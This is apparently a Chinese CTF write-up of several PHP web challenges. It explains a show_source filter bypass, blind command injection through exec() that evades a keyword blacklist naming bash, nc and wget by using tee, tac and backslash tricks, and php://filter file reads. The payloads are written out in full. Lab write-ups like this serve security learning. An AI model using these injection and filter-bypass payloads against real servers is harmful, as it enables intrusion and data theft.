代码审计
include 'utils.php';
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if ($guess === $secret) {//两个变量相等
$message = 'Congratulations! The flag is: ' . $flag;
} else {
$message = 'Wrong. Try Again';
}
}
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}
if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}
if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();//正则表达式
}else{
show_source(__FILE__);
}
?>
解析:
通过
include 'utils.php';
语句引入了一个名为utils.php
的外部文件,该文件可能包含一些辅助函数或变量。当通过POST请求提交了名为
guess
的表单参数时,代码会执行以下逻辑:
- 将
$_POST['guess']
的值转换为字符串,并赋给变量$guess
。- 如果
$guess
的值与一个名为$secret
的变量的值相等,那么会将一个包含"Congratulations! The flag is: "以及$flag
值的消息赋给变量$message
。- 否则,将一个包含"Wrong. Try Again"的消息赋给变量
$message
。通过正则表达式检查以下条件:
- 如果
$_SERVER['PHP_SELF']
以utils.php
结尾,那么输出"hacker :)"并终止脚本执行。- 如果
$_SERVER['REQUEST_URI']
包含字符串show_source
,那么输出"hacker :)"并终止脚本执行。如果通过GET请求提交了名为
show_source
的参数,那么会将当前脚本文件的源代码以语法高亮的形式输出,并终止脚本执行。如果没有提交
show_source
参数,那么会将当前脚本文件的源代码以普通文本的形式输出。
了解了这些,看看我们要构造的payload
get:utils.php/show_source=1
这里show_source
随便定义即可
utils.php
后面加一个非ascii字符即可(因为是从后往前找,遇到非ascii字符就停了):PHP $_SERVER
$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。不能保证每个服务器都提供全部项目;服务器可能会忽略一些,或者提供一些没有在这里列举出来的项目。
以下实例中展示了如何使用$_SERVER中的元素:
实例
echo "
";echo $_SERVER['SERVER_NAME'];
echo "
";echo $_SERVER['HTTP_HOST'];
echo "
";echo $_SERVER['HTTP_REFERER'];
echo "
";echo $_SERVER['HTTP_USER_AGENT'];
echo "
";echo $_SERVER['SCRIPT_NAME']; ?>
运行实例 »下表列出了所有 $_SERVER 变量中的重要元素:
元素/代码 描述 $_SERVER['PHP_SELF'] 当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://example.com/test.php/foo.bar 的脚本中使用 $_SERVER['PHP_SELF'] 将得到 /test.php/foo.bar。__FILE__ 常量包含当前(例如包含)文件的完整路径和文件名。 从 PHP 4.3.0 版本开始,如果 PHP 以命令行模式运行,这个变量将包含脚本名。之前的版本该变量不可用。 $_SERVER['GATEWAY_INTERFACE'] 服务器使用的 CGI 规范的版本;例如,"CGI/1.1"。 $_SERVER['SERVER_ADDR'] 当前运行脚本所在的服务器的 IP 地址。 $_SERVER['SERVER_NAME'] 当前运行脚本所在的服务器的主机名。如果脚本运行于虚拟主机中,该名称是由那个虚拟主机所设置的值决定。(如: www.runoob.com) $_SERVER['SERVER_SOFTWARE'] 服务器标识字符串,在响应请求时的头信息中给出。 (如:Apache/2.2.24) $_SERVER['SERVER_PROTOCOL'] 请求页面时通信协议的名称和版本。例如,"HTTP/1.0"。 $_SERVER['REQUEST_METHOD'] 访问页面使用的请求方法;例如,"GET", "HEAD","POST","PUT"。 $_SERVER['REQUEST_TIME'] 请求开始时的时间戳。从 PHP 5.1.0 起可用。 (如:1377687496) $_SERVER['QUERY_STRING'] query string(查询字符串),如果有的话,通过它进行页面访问。 $_SERVER['HTTP_ACCEPT'] 当前请求头中 Accept: 项的内容,如果存在的话。 $_SERVER['HTTP_ACCEPT_CHARSET'] 当前请求头中 Accept-Charset: 项的内容,如果存在的话。例如:"iso-8859-1,*,utf-8"。 $_SERVER['HTTP_HOST'] 当前请求头中 Host: 项的内容,如果存在的话。 $_SERVER['HTTP_REFERER'] 引导用户代理到当前页的前一页的地址(如果存在)。由 user agent 设置决定。并不是所有的用户代理都会设置该项,有的还提供了修改 HTTP_REFERER 的功能。简言之,该值并不可信。) $_SERVER['HTTPS'] 如果脚本是通过 HTTPS 协议被访问,则被设为一个非空的值。 $_SERVER['REMOTE_ADDR'] 浏览当前页面的用户的 IP 地址。 $_SERVER['REMOTE_HOST'] 浏览当前页面的用户的主机名。DNS 反向解析不依赖于用户的 REMOTE_ADDR。 $_SERVER['REMOTE_PORT'] 用户机器上连接到 Web 服务器所使用的端口号。 $_SERVER['SCRIPT_FILENAME'] 当前执行脚本的绝对路径。 $_SERVER['SERVER_ADMIN'] 该值指明了 Apache 服务器配置文件中的 SERVER_ADMIN 参数。如果脚本运行在一个虚拟主机上,则该值是那个虚拟主机的值。(如:[email protected]) $_SERVER['SERVER_PORT'] Web 服务器使用的端口。默认值为 "80"。如果使用 SSL 安全连接,则这个值为用户设置的 HTTP 端口。 $_SERVER['SERVER_SIGNATURE'] 包含了服务器版本和虚拟主机名的字符串。 $_SERVER['PATH_TRANSLATED'] 当前脚本所在文件系统(非文档根目录)的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果。 $_SERVER['SCRIPT_NAME'] 包含当前脚本的路径。这在页面需要指向自己时非常有用。__FILE__ 常量包含当前脚本(例如包含文件)的完整路径和文件名。 $_SERVER['SCRIPT_URI'] URI 用来指定要访问的页面。例如 "/index.html"。
GET或POST方式传进去的变量名,会自动将空格 + . [
转换为_
所以这里我们传入show[source
先通过第三个if,在第四个if中GET传参的时候会转换回_
看完了这些也没有特别清晰,很多东西都要来用自己的php来调试才可以,这里推荐一个博主的博客 [鹤城杯 2021]EasyP-CSDN博客
写的非常详细也易懂
这就解释了最后传的payload是index.php/utils.php/哈哈?show[source=1
php代码审计
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}
可以发现过滤了一堆字符,最后还有一个exec函数,来了解一下
PHP exec方法是一个强大的命令行执行工具,可以执行系统命令或者外部程序,并且将结果输出给用户。在Web开发中,exec是一种特别有用的方法,特别是在执行一些需要与系统交互的任务时,例如创建文件或者执行一些运行在操作系统中的程序。
exec(string $command, array &$output = null, int &$result_code = null): string|false
exec() 执行 command
参数所指定的命令。如果提供了 output
参数, 那么会用命令执行的输出填充此数组, 每行输出填充数组中的一个元素。如果同时提供 output
和 result_code
参数,命令执行后的返回状态会被写入到result_code
。
返回命令执行结果的最后一行内容。
因此我们知道直接传入命令是没有回显的,这也是标签打上未回显RCE的原因
之前考核的时候做过这种类似的题,还是没有记住这种无回显rce是什么
这里需要用到一个tee命令
tee命令用于读取标准输入的数据,并将其内容输出成文件。
tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。
就是相当于我们把想访问的文件放到1.txt里面,然后再去1.txt文件里边看我们要读取的内容
构造payload:
?url=l\s / |tee 1.txt(在1.txt里面显示根目录)
找到了flag文件
接着构造:
?url=tac /flllll\aaaaaaggggggg |tee 2.txt(把flag放到2.txt里面读取)l\a的原因是过滤了la
cat被过滤掉了,就可以用tac来绕过
找到了flag
在js代码里边找到这个页面,应该是一个加密,破解一下 最后是jsfuck加密
破解后去掉[]就可以了
输入命令:
还是用通配符绕过
找到了flag
直接get,post传参
不知道他过滤了啥东西,先尝试一下,要post传参
访问半天没反应 先看看index 出来了编码 解个码
$path = $_POST["flag"];
if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
echo 'nssctf waf!';
} else {
@include($path);
}
?>
发现了过滤的东西 ,
要求满足传入有flag并且传入的字符数要>800才会满足包含条件
直接加一点没有的东西进去,在用filter读取就完事了
解码得到flag
substr() 函数返回字符串的一部分。
注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
substr(string,start,length)
这个意思就是要用php伪协议进行读取文件
php://filter/read=convert.base64-encode/resource=flag.php
没绕过去
去掉php,审题不仔细了
?file=php://filter/read=convert.base64-encode/resource=flag